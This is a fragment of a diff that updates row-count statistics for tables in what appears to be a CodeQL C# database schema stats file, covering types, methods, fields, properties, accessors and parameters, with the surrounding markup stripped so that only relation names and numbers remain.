+162626 2 7 -13499 +13497 7 2183 -1068 +1067 @@ -12940,15 +12940,15 @@ typeref_type -234911 +234889 id -234911 +234889 typeId -234911 +234889 @@ -12962,7 +12962,7 @@ 1 2 -234911 +234889 @@ -12978,7 +12978,7 @@ 1 2 -234911 +234889 @@ -12988,11 +12988,11 @@ array_element_type -9134 +9133 array -9134 +9133 dimension @@ -13004,7 +13004,7 @@ element -9124 +9123 @@ -13018,7 +13018,7 @@ 1 2 -9134 +9133 @@ -13034,7 +13034,7 @@ 1 2 -9134 +9133 @@ -13050,7 +13050,7 @@ 1 2 -9134 +9133 @@ -13192,7 +13192,7 @@ 1 2 -9114 +9113 2 @@ -13213,7 +13213,7 @@ 1 2 -9124 +9123 @@ -13229,7 +13229,7 @@ 1 2 -9114 +9113 2 @@ -13340,11 +13340,11 @@ enum_underlying_type -11967 +11966 enum_id -11967 +11966 underlying_type_id @@ -13362,7 +13362,7 @@ 1 2 -11967 +11966 @@ -13418,15 +13418,15 @@ delegate_return_type -107690 +107679 delegate_id -107690 +107679 return_type_id -55581 +55575 @@ -13440,7 +13440,7 @@ 1 2 -107690 +107679 @@ -13456,12 +13456,12 @@ 1 2 -52264 +52259 2 4178 -3316 +3315 @@ -13471,15 +13471,15 @@ extend -323899 +323868 sub -323899 +323868 super -31606 +31603 @@ -13493,7 +13493,7 @@ 1 2 -323899 +323868 @@ -13509,12 +13509,12 @@ 1 2 -22657 +22655 2 3 -3984 +3983 3 @@ -13539,15 +13539,15 @@ implement -542318 +542265 sub -226640 +226618 super -122701 +122689 @@ -13561,27 +13561,27 @@ 1 2 -100901 +100891 2 3 -57117 +57111 3 4 -36156 +36153 4 7 -18995 +18993 7 21 -13469 +13468 @@ -13597,27 +13597,27 @@ 1 2 -67036 +67030 2 3 -29821 +29818 3 4 -10260 +10259 4 6 -8705 +8704 6 21807 -6876 +6875 @@ -13627,15 +13627,15 @@ type_location -554397 +554344 id -467561 +467515 loc -29914 +29911 @@ -13649,17 +13649,17 @@ 1 2 -407907 +407868 2 3 -39282 +39279 3 638 -20370 +20368 @@ -13675,7 +13675,7 @@ 1 2 -26037 +26034 2 @@ -13753,11 +13753,11 @@ tuple_element -6798 +6797 tuple -1780 +1779 index @@ -13765,7 +13765,7 @@ field -6798 +6797 @@ -14103,7 +14103,7 @@ 1 2 -6798 +6797 @@ -14119,7 +14119,7 @@ 1 2 -6798 +6797 @@ -14129,11 +14129,11 @@ attributes -750241 +750169 id -750241 +750169 type_id @@ -14141,7 +14141,7 @@ target -429609 +429568 @@ -14155,7 +14155,7 @@ 1 2 -750241 +750169 @@ -14171,7 +14171,7 @@ 1 2 -750241 +750169 @@ -14334,17 +14334,17 @@ 1 2 -366040 +366004 2 3 -48875 +48870 3 957 -14693 +14692 @@ -14360,12 +14360,12 @@ 1 2 -395296 +395258 2 15 -33489 +33485 15 @@ -14380,15 +14380,15 @@ attribute_location -818385 +818306 id -750241 +750169 loc -72420 +72413 @@ -14402,12 +14402,12 @@ 1 2 -682097 +682031 2 3 -68143 +68137 @@ -14423,7 +14423,7 @@ 1 2 -68212 +68205 4 @@ -14438,19 +14438,19 @@ type_mention -1268897 +1268774 id -1268897 +1268774 type_id -34449 +34445 parent -1028409 +1028310 @@ -14464,7 +14464,7 @@ 1 2 -1268897 +1268774 @@ -14480,7 +14480,7 @@ 1 2 -1268897 +1268774 @@ -14496,7 +14496,7 @@ 1 2 -4963 +4962 2 @@ -14511,7 +14511,7 @@ 4 5 -4025 +4024 5 @@ -14541,7 +14541,7 @@ 51 82736 -2279 +2278 @@ -14557,7 +14557,7 @@ 1 2 -9464 +9463 2 @@ -14618,17 +14618,17 @@ 1 2 -870735 +870651 2 3 -137326 +137313 3 342 -20347 +20345 @@ -14644,12 +14644,12 @@ 1 2 -1007734 +1007637 2 22 -20674 +20672 @@ -14659,15 +14659,15 @@ type_mention_location -1268897 +1268774 id -1268897 +1268774 loc -1139473 +1139363 @@ -14681,7 +14681,7 @@ 1 2 -1268897 +1268774 @@ -14697,12 +14697,12 @@ 1 2 -1076995 +1076891 2 199 -62478 +62472 @@ -14712,11 +14712,11 @@ type_annotation -50992 +50987 id -50992 +50987 annotation @@ -14734,7 +14734,7 @@ 1 2 -50992 +50987 @@ -14828,7 +14828,7 @@ nullability_parent -6286 +6285 nullability @@ -15149,15 +15149,15 @@ type_nullability -4610045 +4611994 id -4535598 +4537516 nullability -965 +966 @@ -15171,12 +15171,12 @@ 1 2 -4469988 +4471877 2 9 -65610 +65639 @@ -15192,32 +15192,32 @@ 1 2 -163 +162 2 3 -144 +147 3 4 -55 +56 4 5 -70 +67 5 7 -85 +84 7 10 -64 +67 10 @@ -15227,27 +15227,27 @@ 14 23 -78 +77 23 -45 -75 - - -45 -122 +43 73 -122 -4134 +44 +123 +74 + + +123 +3383 73 -4645 -3682170 -11 +4148 +3686593 +12 @@ -15257,11 +15257,11 @@ expr_flowstate -2993545 +2993255 id -2993545 +2993255 state @@ -15279,7 +15279,7 @@ 1 2 -2993545 +2993255 @@ -15310,11 +15310,11 @@ type_parameters -202944 +202924 id -202944 +202924 index @@ -15322,7 +15322,7 @@ generic_id -103837 +103827 variance @@ -15340,7 +15340,7 @@ 1 2 -202944 +202924 @@ -15356,7 +15356,7 @@ 1 2 -202944 +202924 @@ -15372,7 +15372,7 @@ 1 2 -202944 +202924 @@ -15646,12 +15646,12 @@ 1 2 -80682 +80674 2 3 -10787 +10786 3 @@ -15677,12 +15677,12 @@ 1 2 -80682 +80674 2 3 -10787 +10786 3 @@ -15708,7 +15708,7 @@ 1 2 -103686 +103676 2 @@ -15801,11 +15801,11 @@ type_arguments -644589 +644527 id -273599 +273573 index @@ -15813,7 +15813,7 @@ constructed_id -413403 +413363 @@ -15827,12 +15827,12 @@ 1 2 -234960 +234938 2 3 -37161 +37157 3 @@ -15853,22 +15853,22 @@ 1 2 -174151 +174134 2 3 -56541 +56536 3 5 -20594 +20592 5 23 -20677 +20675 23 @@ -16101,17 +16101,17 @@ 1 2 -290415 +290387 2 3 -96351 +96342 3 22 -26637 +26634 @@ -16127,17 +16127,17 @@ 1 2 -288249 +288221 2 3 -97351 +97341 3 22 -27802 +27800 @@ -16147,15 +16147,15 @@ constructed_generic -413403 +413363 constructed -413403 +413363 generic -8588 +8587 @@ -16169,7 +16169,7 @@ 1 2 -413403 +413363 @@ -16235,15 +16235,15 @@ type_parameter_constraints -611564 +611504 id -611564 +611504 param_id -202856 +202836 @@ -16257,7 +16257,7 @@ 1 2 -611564 +611504 @@ -16273,22 +16273,22 @@ 1 2 -164427 +164411 2 3 -17707 +17706 3 11 -16610 +16608 11 2108 -4111 +4110 @@ -16334,11 +16334,11 @@ general_type_parameter_constraints -119012 +119065 id -68415 +68463 kind @@ -16356,12 +16356,12 @@ 1 2 -17818 +17861 2 3 -50597 +50602 @@ -16380,23 +16380,23 @@ 1 -442 -443 +441 +442 1 -5903 -5904 +5921 +5922 1 -50476 -50477 +50480 +50481 1 -62187 -62188 +62219 +62220 1 @@ -16407,11 +16407,11 @@ specific_type_parameter_constraints -57191 +57224 id -56337 +56372 base_id @@ -16429,12 +16429,12 @@ 1 2 -55531 +55568 2 5 -806 +804 @@ -16465,22 +16465,22 @@ 4 5 -100 +97 5 6 -54 +58 6 7 -116 +114 7 10 -106 +107 10 @@ -16495,12 +16495,12 @@ 20 26 -108 +107 26 51 -98 +99 51 @@ -16509,7 +16509,7 @@ 204 -8422 +8421 41 @@ -16520,11 +16520,11 @@ specific_type_parameter_nullability -39909 +39947 id -39671 +39711 base_id @@ -16546,12 +16546,12 @@ 1 2 -39433 +39475 2 3 -238 +236 @@ -16567,7 +16567,7 @@ 1 2 -39671 +39711 @@ -16598,32 +16598,32 @@ 4 5 -52 +49 5 6 -47 +52 6 7 -81 +78 7 10 -70 +71 10 12 -53 +55 12 16 -71 +69 16 @@ -16633,16 +16633,16 @@ 22 33 -74 +73 33 93 -72 +73 93 -6983 +6982 56 @@ -16743,8 +16743,8 @@ 1 -38744 -38745 +38784 +38785 1 @@ -16859,11 +16859,11 @@ has_modifiers -5502891 +5502359 id -3695539 +3695181 mod_id @@ -16881,17 +16881,17 @@ 1 2 -2023840 +2023644 2 3 -1537888 +1537739 3 5 -133810 +133797 @@ -16997,11 +16997,11 @@ compiler_generated -136014 +136001 id -136014 +136001 @@ -17096,19 +17096,19 @@ nested_types -112074 +112063 id -112074 +112063 declaring_type_id -40648 +40644 unbound_id -81218 +81210 @@ -17122,7 +17122,7 @@ 1 2 -112074 +112063 @@ -17138,7 +17138,7 @@ 1 2 -112074 +112063 @@ -17154,7 +17154,7 @@ 1 2 -23516 +23513 2 @@ -17169,7 +17169,7 @@ 4 7 -3360 +3359 7 @@ -17195,7 +17195,7 @@ 1 2 -23550 +23547 2 @@ -17215,7 +17215,7 @@ 7 12 -3082 +3081 12 @@ -17236,7 +17236,7 @@ 1 2 -78199 +78192 2 @@ -17257,7 +17257,7 @@ 1 2 -78941 +78933 2 @@ -17272,27 +17272,27 @@ properties -424069 +424028 id -424069 +424028 name -84466 +84458 declaring_type_id -116522 +116510 type_id -52191 +52186 unbound_id -334267 +334235 @@ -17306,7 +17306,7 @@ 1 2 -424069 +424028 @@ -17322,7 +17322,7 @@ 1 2 -424069 +424028 @@ -17338,7 +17338,7 @@ 1 2 -424069 +424028 @@ -17354,7 +17354,7 @@ 1 2 -424069 +424028 @@ -17370,17 +17370,17 @@ 1 2 -50816 +50811 2 3 -14011 +14009 3 4 -5759 +5758 4 @@ -17411,12 +17411,12 @@ 1 2 -50816 +50811 2 3 -14079 +14078 3 @@ -17426,7 +17426,7 @@ 4 7 -6691 +6690 7 @@ -17452,7 +17452,7 @@ 1 2 -72928 +72921 2 @@ -17478,12 +17478,12 @@ 1 2 -51245 +51240 2 3 -14274 +14273 3 @@ -17493,12 +17493,12 @@ 4 7 -6452 +6451 7 68 -6335 +6334 68 @@ -17519,37 +17519,37 @@ 1 2 -39434 +39430 2 3 -29904 +29901 3 4 -10914 +10913 4 5 -7851 +7850 5 6 -7139 +7138 6 8 -9339 +9338 8 16 -9578 +9577 16 @@ -17570,32 +17570,32 @@ 1 2 -43949 +43945 2 3 -25466 +25464 3 4 -10909 +10908 4 5 -7871 +7870 5 6 -7154 +7153 6 8 -9295 +9294 8 @@ -17605,7 +17605,7 @@ 14 250 -3121 +3120 @@ -17621,32 +17621,32 @@ 1 2 -45505 +45501 2 3 -32655 +32652 3 4 -13855 +13853 4 5 -7554 +7553 5 7 -9392 +9391 7 48 -7559 +7558 @@ -17662,37 +17662,37 @@ 1 2 -39434 +39430 2 3 -29904 +29901 3 4 -10914 +10913 4 5 -7851 +7850 5 6 -7139 +7138 6 8 -9339 +9338 8 16 -9578 +9577 16 @@ -17713,12 +17713,12 @@ 1 2 -31455 +31452 2 3 -10792 +10791 3 @@ -17728,7 +17728,7 @@ 5 21 -3950 +3949 21 @@ -17749,7 +17749,7 @@ 1 2 -44130 +44126 2 @@ -17775,27 +17775,27 @@ 1 2 -32640 +32637 2 3 -10494 +10493 3 5 -4428 +4427 5 33 -3916 +3915 33 6176 -712 +711 @@ -17811,22 +17811,22 @@ 1 2 -31596 +31593 2 3 -10924 +10923 3 5 -4672 +4671 5 22 -3916 +3915 22 @@ -17847,12 +17847,12 @@ 1 2 -329088 +329056 2 705 -5179 +5178 @@ -17868,7 +17868,7 @@ 1 2 -334267 +334235 @@ -17884,12 +17884,12 @@ 1 2 -329088 +329056 2 705 -5179 +5178 @@ -17905,7 +17905,7 @@ 1 2 -333058 +333025 2 @@ -17920,15 +17920,15 @@ property_location -535129 +535077 id -424069 +424028 loc -52962 +52957 @@ -17942,17 +17942,17 @@ 1 2 -338534 +338502 2 3 -64183 +64177 3 119 -21350 +21348 @@ -17968,7 +17968,7 @@ 1 2 -49475 +49470 2 @@ -17983,11 +17983,11 @@ indexers -17064 +17062 id -17064 +17062 name @@ -17995,7 +17995,7 @@ declaring_type_id -13567 +13566 type_id @@ -18017,7 +18017,7 @@ 1 2 -17064 +17062 @@ -18033,7 +18033,7 @@ 1 2 -17064 +17062 @@ -18049,7 +18049,7 @@ 1 2 -17064 +17062 @@ -18065,7 +18065,7 @@ 1 2 -17064 +17062 @@ -18200,7 +18200,7 @@ 1 2 -10519 +10518 2 @@ -18226,7 +18226,7 @@ 1 2 -13557 +13556 2 @@ -18247,7 +18247,7 @@ 1 2 -11060 +11059 2 @@ -18268,7 +18268,7 @@ 1 2 -10519 +10518 2 @@ -18428,7 +18428,7 @@ 1 2 -4106 +4105 2 @@ -18465,7 +18465,7 @@ 1 2 -4106 +4105 2 @@ -18501,11 +18501,11 @@ indexer_location -23802 +23907 id -12621 +12715 loc @@ -18523,27 +18523,27 @@ 1 2 -4407 +4499 2 3 -6698 +6699 3 4 -286 +281 4 5 -1117 +1122 5 13 -113 +114 @@ -18564,32 +18564,32 @@ 2 3 -22 +23 3 4 -18 +17 4 5 -14 +12 5 8 -18 +20 8 13 -16 +17 13 21 -19 +18 23 @@ -18603,7 +18603,7 @@ 3540 -5425 +5342 3 @@ -18614,11 +18614,11 @@ accessors -568589 +568534 id -568589 +568534 kind @@ -18626,15 +18626,15 @@ name -121398 +121387 declaring_member_id -441133 +441090 unbound_id -440982 +440939 @@ -18648,7 +18648,7 @@ 1 2 -568589 +568534 @@ -18664,7 +18664,7 @@ 1 2 -568589 +568534 @@ -18680,7 +18680,7 @@ 1 2 -568589 +568534 @@ -18696,7 +18696,7 @@ 1 2 -568589 +568534 @@ -18796,27 +18796,27 @@ 1 2 -75288 +75281 2 3 -19975 +19973 3 4 -7939 +7938 4 8 -10138 +10137 8 2558 -8056 +8055 @@ -18832,7 +18832,7 @@ 1 2 -121398 +121387 @@ -18848,27 +18848,27 @@ 1 2 -75298 +75290 2 3 -19965 +19963 3 4 -7939 +7938 4 8 -10138 +10137 8 2558 -8056 +8055 @@ -18884,27 +18884,27 @@ 1 2 -75937 +75929 2 3 -20643 +20641 3 4 -7773 +7772 4 8 -9665 +9664 8 1202 -7378 +7377 @@ -18920,12 +18920,12 @@ 1 2 -313687 +313657 2 3 -127441 +127428 4 @@ -18946,12 +18946,12 @@ 1 2 -313687 +313657 2 3 -127446 +127433 @@ -18967,12 +18967,12 @@ 1 2 -313687 +313657 2 3 -127446 +127433 @@ -18988,12 +18988,12 @@ 1 2 -313687 +313657 2 3 -127441 +127428 4 @@ -19014,12 +19014,12 @@ 1 2 -434310 +434268 2 705 -6671 +6670 @@ -19035,7 +19035,7 @@ 1 2 -440982 +440939 @@ -19051,7 +19051,7 @@ 1 2 -440982 +440939 @@ -19067,12 +19067,12 @@ 1 2 -434310 +434268 2 705 -6671 +6670 @@ -19093,15 +19093,15 @@ accessor_location -748724 +748652 id -568589 +568534 loc -93332 +93323 @@ -19115,17 +19115,17 @@ 1 2 -433257 +433215 2 3 -98521 +98512 3 119 -36810 +36806 @@ -19141,7 +19141,7 @@ 1 2 -89723 +89715 2 @@ -19156,15 +19156,15 @@ events -15249 +15248 id -15249 +15248 name -13006 +13005 declaring_type_id @@ -19172,11 +19172,11 @@ type_id -6374 +6373 unbound_id -15240 +15238 @@ -19190,7 +19190,7 @@ 1 2 -15249 +15248 @@ -19206,7 +19206,7 @@ 1 2 -15249 +15248 @@ -19222,7 +19222,7 @@ 1 2 -15249 +15248 @@ -19238,7 +19238,7 @@ 1 2 -15249 +15248 @@ -19254,7 +19254,7 @@ 1 2 -12016 +12015 2 @@ -19280,7 +19280,7 @@ 1 2 -12016 +12015 2 @@ -19306,7 +19306,7 @@ 1 2 -12865 +12863 2 @@ -19327,7 +19327,7 @@ 1 2 -12016 +12015 2 @@ -19512,7 +19512,7 @@ 1 2 -4418 +4417 2 @@ -19574,7 +19574,7 @@ 1 2 -5759 +5758 2 @@ -19600,7 +19600,7 @@ 1 2 -4418 +4417 2 @@ -19631,7 +19631,7 @@ 1 2 -15230 +15228 2 @@ -19652,7 +19652,7 @@ 1 2 -15240 +15238 @@ -19668,7 +19668,7 @@ 1 2 -15230 +15228 2 @@ -19689,7 +19689,7 @@ 1 2 -15230 +15228 2 @@ -19704,11 +19704,11 @@ event_location -15888 +15887 id -15249 +15248 loc @@ -19726,7 +19726,7 @@ 1 2 -14610 +14609 2 @@ -19807,11 +19807,11 @@ event_accessors -30499 +30496 id -30499 +30496 kind @@ -19819,15 +19819,15 @@ name -26725 +26722 declaring_event_id -15249 +15248 unbound_id -30480 +30477 @@ -19841,7 +19841,7 @@ 1 2 -30499 +30496 @@ -19857,7 +19857,7 @@ 1 2 -30499 +30496 @@ -19873,7 +19873,7 @@ 1 2 -30499 +30496 @@ -19889,7 +19889,7 @@ 1 2 -30499 +30496 @@ -19969,7 +19969,7 @@ 1 2 -24735 +24732 2 @@ -19990,7 +19990,7 @@ 1 2 -26725 +26722 @@ -20006,7 +20006,7 @@ 1 2 -24735 +24732 2 @@ -20027,7 +20027,7 @@ 1 2 -24735 +24732 2 @@ -20048,7 +20048,7 @@ 2 3 -15249 +15248 @@ -20064,7 +20064,7 @@ 2 3 -15249 +15248 @@ -20080,7 +20080,7 @@ 2 3 -15249 +15248 @@ -20096,7 +20096,7 @@ 2 3 -15249 +15248 @@ -20112,7 +20112,7 @@ 1 2 -30460 +30457 2 @@ -20133,7 +20133,7 @@ 1 2 -30480 +30477 @@ -20149,7 +20149,7 @@ 1 2 -30480 +30477 @@ -20165,7 +20165,7 @@ 1 2 -30460 +30457 2 @@ -20180,11 +20180,11 @@ event_accessor_location -31777 +31774 id -30499 +30496 loc @@ -20202,7 +20202,7 @@ 1 2 -29221 +29219 2 @@ -20283,11 +20283,11 @@ operators -12426 +12424 id -12426 +12424 name @@ -20307,7 +20307,7 @@ unbound_id -11670 +11669 @@ -20321,7 +20321,7 @@ 1 2 -12426 +12424 @@ -20337,7 +20337,7 @@ 1 2 -12426 +12424 @@ -20353,7 +20353,7 @@ 1 2 -12426 +12424 @@ -20369,7 +20369,7 @@ 1 2 -12426 +12424 @@ -20385,7 +20385,7 @@ 1 2 -12426 +12424 @@ -21057,7 +21057,7 @@ 2 3 -1541 +1540 3 @@ -21401,7 +21401,7 @@ 1 2 -11523 +11522 2 @@ -21422,7 +21422,7 @@ 1 2 -11670 +11669 @@ -21438,7 +21438,7 @@ 1 2 -11670 +11669 @@ -21454,7 +21454,7 @@ 1 2 -11523 +11522 2 @@ -21475,7 +21475,7 @@ 1 2 -11611 +11610 2 @@ -21490,7 +21490,7 @@ operator_location -22284 +22282 id @@ -21573,15 +21573,15 @@ constant_value -185587 +185569 id -185475 +185457 value -47914 +47910 @@ -21595,7 +21595,7 @@ 1 2 -185363 +185345 2 @@ -21616,12 +21616,12 @@ 1 2 -32933 +32930 2 3 -7227 +7226 3 @@ -21631,7 +21631,7 @@ 4 61 -3594 +3593 61 @@ -21646,27 +21646,27 @@ methods -1118291 +1118182 id -1118291 +1118182 name -133961 +133948 declaring_type_id -202505 +202485 type_id -113020 +113009 unbound_id -697679 +697611 @@ -21680,7 +21680,7 @@ 1 2 -1118291 +1118182 @@ -21696,7 +21696,7 @@ 1 2 -1118291 +1118182 @@ -21712,7 +21712,7 @@ 1 2 -1118291 +1118182 @@ -21728,7 +21728,7 @@ 1 2 -1118291 +1118182 @@ -21744,32 +21744,32 @@ 1 2 -69407 +69400 2 3 -23662 +23660 3 4 -10855 +10854 4 6 -10436 +10435 6 12 -10582 +10581 12 5621 -9017 +9016 @@ -21785,27 +21785,27 @@ 1 2 -79789 +79782 2 3 -19380 +19378 3 4 -11338 +11337 4 7 -11060 +11059 7 33 -10119 +10118 33 @@ -21826,17 +21826,17 @@ 1 2 -113200 +113190 2 3 -10607 +10606 3 209 -10051 +10050 222 @@ -21857,32 +21857,32 @@ 1 2 -71148 +71141 2 3 -24530 +24528 3 4 -10928 +10927 4 6 -10733 +10732 6 13 -10733 +10732 13 4958 -5886 +5885 @@ -21898,37 +21898,37 @@ 1 2 -59994 +59988 2 3 -43057 +43053 3 4 -31333 +31330 4 5 -14269 +14268 5 6 -14806 +14804 6 10 -16117 +16116 10 23 -15674 +15672 23 @@ -21949,37 +21949,37 @@ 1 2 -65066 +65060 2 3 -44744 +44740 3 4 -34435 +34431 4 5 -18214 +18213 5 8 -18180 +18179 8 18 -15269 +15267 18 457 -6593 +6592 @@ -21995,32 +21995,32 @@ 1 2 -98136 +98126 2 3 -48968 +48963 3 4 -22974 +22972 4 5 -11636 +11634 5 10 -15225 +15223 10 738 -5564 +5563 @@ -22036,42 +22036,42 @@ 1 2 -60102 +60096 2 3 -43135 +43131 3 4 -31333 +31330 4 5 -14303 +14302 5 6 -14825 +14824 6 10 -16035 +16033 10 23 -16132 +16130 23 698 -6637 +6636 @@ -22087,12 +22087,12 @@ 1 2 -75532 +75525 2 3 -14498 +14497 3 @@ -22102,7 +22102,7 @@ 4 10 -8836 +8835 10 @@ -22123,12 +22123,12 @@ 1 2 -91684 +91675 2 3 -9626 +9625 3 @@ -22154,17 +22154,17 @@ 1 2 -87504 +87496 2 3 -13996 +13995 3 8 -8812 +8811 8 @@ -22185,27 +22185,27 @@ 1 2 -75644 +75637 2 3 -14557 +14555 3 4 -8393 +8392 4 10 -8773 +8772 10 44512 -5652 +5651 @@ -22221,12 +22221,12 @@ 1 2 -670812 +670747 2 1367 -26866 +26863 @@ -22242,7 +22242,7 @@ 1 2 -697679 +697611 @@ -22258,12 +22258,12 @@ 1 2 -672680 +672615 2 1367 -24998 +24996 @@ -22279,12 +22279,12 @@ 1 2 -687301 +687234 2 1367 -10377 +10376 @@ -22294,15 +22294,15 @@ method_location -1282235 +1282111 id -1118291 +1118182 loc -40882 +40878 @@ -22316,17 +22316,17 @@ 1 2 -987752 +987657 2 3 -98360 +98351 3 119 -32177 +32174 @@ -22342,12 +22342,12 @@ 1 2 -36264 +36260 2 51 -3082 +3081 51 @@ -22362,23 +22362,23 @@ constructors -277993 +277966 id -277993 +277966 name -133634 +133621 declaring_type_id -212249 +212228 unbound_id -223534 +223512 @@ -22392,7 +22392,7 @@ 1 2 -277993 +277966 @@ -22408,7 +22408,7 @@ 1 2 -277993 +277966 @@ -22424,7 +22424,7 @@ 1 2 -277993 +277966 @@ -22440,17 +22440,17 @@ 1 2 -102315 +102305 2 3 -19195 +19193 3 8 -10260 +10259 8 @@ -22471,12 +22471,12 @@ 1 2 -122637 +122625 2 11 -10095 +10094 11 @@ -22497,17 +22497,17 @@ 1 2 -103198 +103188 2 3 -19351 +19349 3 10 -10099 +10098 10 @@ -22528,17 +22528,17 @@ 1 2 -179540 +179523 2 3 -19775 +19773 3 20 -12933 +12932 @@ -22554,7 +22554,7 @@ 1 2 -212249 +212228 @@ -22570,17 +22570,17 @@ 1 2 -179540 +179523 2 3 -19775 +19773 3 20 -12933 +12932 @@ -22596,7 +22596,7 @@ 1 2 -221100 +221079 2 @@ -22617,7 +22617,7 @@ 1 2 -223534 +223512 @@ -22633,7 +22633,7 @@ 1 2 -221100 +221079 2 @@ -22648,15 +22648,15 @@ constructor_location -321846 +321815 id -277993 +277966 loc -24803 +24801 @@ -22670,12 +22670,12 @@ 1 2 -238623 +238600 2 3 -37619 +37616 3 @@ -22696,7 +22696,7 @@ 1 2 -19024 +19022 2 @@ -22799,7 +22799,7 @@ 1 2 -395 +394 2 @@ -22820,7 +22820,7 @@ 1 2 -395 +394 2 @@ -23065,15 +23065,15 @@ overrides -274277 +274251 id -274253 +274226 base_id -65486 +65479 @@ -23087,7 +23087,7 @@ 1 2 -274228 +274202 2 @@ -23108,12 +23108,12 @@ 1 2 -40302 +40298 2 3 -10485 +10484 3 @@ -23123,7 +23123,7 @@ 4 7 -5345 +5344 7 @@ -23143,15 +23143,15 @@ explicitly_implements -156141 +156126 id -156141 +156126 interface_id -13299 +13297 @@ -23165,7 +23165,7 @@ 1 2 -156141 +156126 @@ -23186,12 +23186,12 @@ 2 3 -2492 +2491 3 4 -1185 +1184 4 @@ -23570,11 +23570,11 @@ fields -556392 +556338 id -556392 +556338 kind @@ -23582,19 +23582,19 @@ name -218496 +218475 declaring_type_id -103710 +103700 type_id -89626 +89617 unbound_id -548687 +548634 @@ -23608,7 +23608,7 @@ 1 2 -556392 +556338 @@ -23624,7 +23624,7 @@ 1 2 -556392 +556338 @@ -23640,7 +23640,7 @@ 1 2 -556392 +556338 @@ -23656,7 +23656,7 @@ 1 2 -556392 +556338 @@ -23672,7 +23672,7 @@ 1 2 -556392 +556338 @@ -23793,17 +23793,17 @@ 1 2 -176394 +176377 2 3 -22594 +22592 3 14 -16576 +16574 14 @@ -23824,12 +23824,12 @@ 1 2 -209128 +209107 2 3 -9368 +9367 @@ -23845,17 +23845,17 @@ 1 2 -176419 +176402 2 3 -22579 +22577 3 14 -16566 +16564 14 @@ -23876,17 +23876,17 @@ 1 2 -188918 +188900 2 3 -17678 +17676 3 2459 -11899 +11898 @@ -23902,17 +23902,17 @@ 1 2 -176785 +176767 2 3 -22599 +22597 3 15 -16493 +16491 15 @@ -23933,32 +23933,32 @@ 1 2 -27354 +27351 2 3 -21175 +21173 3 4 -12587 +12585 4 5 -10114 +10113 5 6 -7944 +7943 6 8 -9285 +9284 8 @@ -23984,7 +23984,7 @@ 1 2 -102618 +102608 2 @@ -24005,32 +24005,32 @@ 1 2 -27354 +27351 2 3 -21180 +21178 3 4 -12591 +12590 4 5 -10109 +10108 5 6 -7944 +7943 6 8 -9290 +9289 8 @@ -24040,7 +24040,7 @@ 12 4204 -7081 +7080 @@ -24056,17 +24056,17 @@ 1 2 -44583 +44579 2 3 -21228 +21226 3 4 -9446 +9445 4 @@ -24076,12 +24076,12 @@ 5 6 -6169 +6168 6 9 -9602 +9601 9 @@ -24102,32 +24102,32 @@ 1 2 -27354 +27351 2 3 -21175 +21173 3 4 -12587 +12585 4 5 -10114 +10113 5 6 -7944 +7943 6 8 -9285 +9284 8 @@ -24153,12 +24153,12 @@ 1 2 -55868 +55863 2 3 -10894 +10893 3 @@ -24168,12 +24168,12 @@ 4 7 -7978 +7977 7 27 -6798 +6797 27 @@ -24194,7 +24194,7 @@ 1 2 -87426 +87418 2 @@ -24215,22 +24215,22 @@ 1 2 -63808 +63802 2 3 -9329 +9328 3 5 -7895 +7894 5 18 -6847 +6846 18 @@ -24251,17 +24251,17 @@ 1 2 -68397 +68390 2 3 -10051 +10050 3 7 -7242 +7241 7 @@ -24282,27 +24282,27 @@ 1 2 -55912 +55907 2 3 -11221 +11220 3 4 -5930 +5929 4 7 -7954 +7953 7 27 -6754 +6753 27 @@ -24323,7 +24323,7 @@ 1 2 -547775 +547722 2 @@ -24344,7 +24344,7 @@ 1 2 -548687 +548634 @@ -24360,7 +24360,7 @@ 1 2 -548687 +548634 @@ -24376,7 +24376,7 @@ 1 2 -547775 +547722 2 @@ -24397,7 +24397,7 @@ 1 2 -548189 +548136 2 @@ -24412,15 +24412,15 @@ field_location -637250 +637188 id -549018 +548965 loc -52913 +52908 @@ -24434,12 +24434,12 @@ 1 2 -466810 +466764 2 3 -78195 +78187 3 @@ -24460,12 +24460,12 @@ 1 2 -49402 +49397 2 8882 -3511 +3510 @@ -24475,11 +24475,11 @@ localvars -163699 +163691 id -163699 +163691 kind @@ -24487,7 +24487,7 @@ name -22594 +22589 implicitly_typed @@ -24499,7 +24499,7 @@ parent_id -163699 +163691 @@ -24513,7 +24513,7 @@ 1 2 -163699 +163691 @@ -24529,7 +24529,7 @@ 1 2 -163699 +163691 @@ -24545,7 +24545,7 @@ 1 2 -163699 +163691 @@ -24561,7 +24561,7 @@ 1 2 -163699 +163691 @@ -24577,7 +24577,7 @@ 1 2 -163699 +163691 @@ -24601,8 +24601,8 @@ 1 -162445 -162446 +162437 +162438 1 @@ -24627,8 +24627,8 @@ 1 -22381 -22382 +22376 +22377 1 @@ -24700,8 +24700,8 @@ 1 -162880 -162881 +162872 +162873 1 @@ -24718,12 +24718,12 @@ 1 2 -14114 +14110 2 3 -3485 +3484 3 @@ -24754,7 +24754,7 @@ 1 2 -22502 +22497 2 @@ -24775,7 +24775,7 @@ 1 2 -19935 +19930 2 @@ -24796,7 +24796,7 @@ 1 2 -19225 +19220 2 @@ -24822,12 +24822,12 @@ 1 2 -14080 +14076 2 3 -3503 +3502 3 @@ -24856,13 +24856,13 @@ 12 -36617 -36618 +36616 +36617 1 -126645 -126646 +126638 +126639 1 @@ -24903,8 +24903,8 @@ 1 -16706 -16707 +16701 +16702 1 @@ -24940,13 +24940,13 @@ 12 -36766 -36767 +36765 +36766 1 -126933 -126934 +126926 +126927 1 @@ -24992,7 +24992,7 @@ 35 -37236 +37230 317 @@ -25054,7 +25054,7 @@ 49 -1942 +1937 84 @@ -25121,7 +25121,7 @@ 35 -37241 +37235 319 @@ -25138,7 +25138,7 @@ 1 2 -163699 +163691 @@ -25154,7 +25154,7 @@ 1 2 -163699 +163691 @@ -25170,7 +25170,7 @@ 1 2 -163699 +163691 @@ -25186,7 +25186,7 @@ 1 2 -163699 +163691 @@ -25202,7 +25202,7 @@ 1 2 -163699 +163691 @@ -25212,15 +25212,15 @@ localvar_location -163262 +163254 id -163262 +163254 loc -163183 +163175 @@ -25234,7 +25234,7 @@ 1 2 -163262 +163254 @@ -25250,7 +25250,7 @@ 1 2 -163104 +163096 2 @@ -25265,19 +25265,19 @@ params -2420755 +2420521 id -2420755 +2420521 name -80911 +80903 type_id -330995 +330963 index @@ -25289,11 +25289,11 @@ parent_id -1371574 +1371441 unbound_id -1437011 +1436872 @@ -25307,7 +25307,7 @@ 1 2 -2420755 +2420521 @@ -25323,7 +25323,7 @@ 1 2 -2420755 +2420521 @@ -25339,7 +25339,7 @@ 1 2 -2420755 +2420521 @@ -25355,7 +25355,7 @@ 1 2 -2420755 +2420521 @@ 